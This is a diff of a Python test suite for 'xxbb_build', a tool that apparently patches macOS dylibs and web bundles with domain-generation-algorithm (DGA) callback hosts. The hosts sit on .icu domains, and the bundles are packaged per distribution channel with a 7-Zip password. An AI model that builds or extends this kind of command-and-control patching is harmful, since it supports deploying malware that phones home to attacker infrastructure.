self.assertEqual(manifest["iptj_host"], generate_domains(channel_c, 1)[0])
self.assertTrue(manifest["staged_weifile"].endswith("weifile"))
def test_seeds_generated_once_then_reused(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
@@ -145,12 +157,13 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(len(first[0]), 32)
self.assertEqual(len(first[1]), 32)
self.assertEqual(first[0], first[1])
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
self.assertEqual(len(first[2]), 32)
self.assertNotEqual(first[2], xxbb_build.SEVEN_ZIP_PASSWORD)
self.assertEqual(len(first[3]["deployment"]), 5)
self.assertEqual(len(first[3]["reporting"]), 5)
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
self.assertEqual(first[3]["deployment"][0], generate_domains(first[2], 1)[0])
def test_xxbb_dga_matches_native_pool(self) -> None:
self.assertEqual(
@@ -207,35 +220,7 @@ class XxbbBuildTest(unittest.TestCase):
cli_c=None,
)
def test_http_scheme_rewrites_url_formats(self) -> None:
path = xxbb_build.group_dylib_path("C")
raw = path.read_bytes()
https = xxbb_build.patch_dylib(
raw,
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
channel_c="cccccccccccccccccccccccccccccccc",
label=path.name,
scheme="https",
)
http = xxbb_build.patch_dylib(
raw,
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
channel_c="cccccccccccccccccccccccccccccccc",
label=path.name,
scheme="http",
)
self.assertIn(b"https://%@\x00", https)
self.assertIn(b"https://backup%u.icu\x00", https)
self.assertNotIn(b"http://%@\x00", https)
self.assertIn(b"http://%@\x00", http)
self.assertIn(b"http://backup%u.icu\x00", http)
self.assertNotIn(b"https://%@\x00", http)
self.assertNotIn(b"https://backup%u.icu\x00", http)
self.assertEqual(len(http), len(https))
def test_apply_works_without_channel_name(self) -> None:
def test_apply_writes_details_and_staged_weifile(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
artifact = Path(tmp) / "public"
state = Path(tmp) / "state"
@@ -259,7 +244,81 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(xxbb_build.main(), 0)
finally:
sys.argv = old
self.assertTrue((artifact / "weifile" / "weifile.html").is_file())
self.assertTrue((artifact / "details" / "show.html").is_file())
self.assertFalse((artifact / "weifile").exists())
self.assertTrue((state / "out" / "weifile" / "index.js").is_file())
index_js = (state / "out" / "weifile" / "index.js").read_text(encoding="utf-8")
self.assertIn(generate_domains("33333333333333333333333333333333", 1)[0], index_js)
self.assertIn("CACACACA", index_js)
def test_discovers_all_fafa_secondaries(self) -> None:
meta = xxbb_build.load_keys()
stems = meta["stems"]
self.assertEqual(len(stems), 10)
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "A"), 4)
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "B"), 5)
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "C"), 1)
self.assertIn("1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6", stems)
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", stems)
self.assertEqual(stems["fb95e427382180860f0b48a8854576ec1a6ce7b1"]["group"], "A")
def test_random_c_rewrites_lab_seeds(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
path = Path(tmp) / "lab_seeds.json"
first = xxbb_build.resolve_seeds(
lab_seeds_path=path,
cli_dep="11111111111111111111111111111111",
cli_rep="11111111111111111111111111111111",
cli_c="33333333333333333333333333333333",
)
second = xxbb_build.resolve_seeds(
lab_seeds_path=path,
cli_dep="11111111111111111111111111111111",
cli_rep="11111111111111111111111111111111",
cli_c=None,
random_c=True,
)
self.assertEqual(first[2], "33333333333333333333333333333333")
self.assertNotEqual(second[2], first[2])
self.assertEqual(len(second[2]), 32)
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
def test_pack_replaces_channel_placeholder(self) -> None:
import pack_channel
from zipfile import ZipFile
with tempfile.TemporaryDirectory() as tmp:
src = Path(tmp) / "weifile"
src.mkdir()
(src / "index.js").write_text(
'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";',
encoding="utf-8",
)
(src / "weifile.html").write_text(
'<script type="text/javascript" src="index.js"></script>',
encoding="utf-8",
)
(src / "extra.min.js").write_text("ok", encoding="utf-8")
zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip"
result = pack_channel.pack_channel(
channel_code="fafa9988",
weifile_src=src,
zip_out=zip_out,
)
self.assertEqual(result["channel_code"], "FAFA9988")
self.assertTrue(zip_out.is_file())
self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8"))
with ZipFile(zip_out) as archive:
names = set(archive.namelist())
self.assertIn("weifile/index.js", names)
self.assertIn("weifile/weifile.html", names)
self.assertIn("weifile/extra.min.js", names)
index_js = archive.read("weifile/index.js").decode("utf-8")
html = archive.read("weifile/weifile.html").decode("utf-8")
self.assertIn('const V="FAFA9988"', index_js)
self.assertNotIn("CACACACA", index_js)
self.assertNotIn("__CHANNEL_C__", html)
self.assertNotIn("/t.js", html)
if __name__ == "__main__":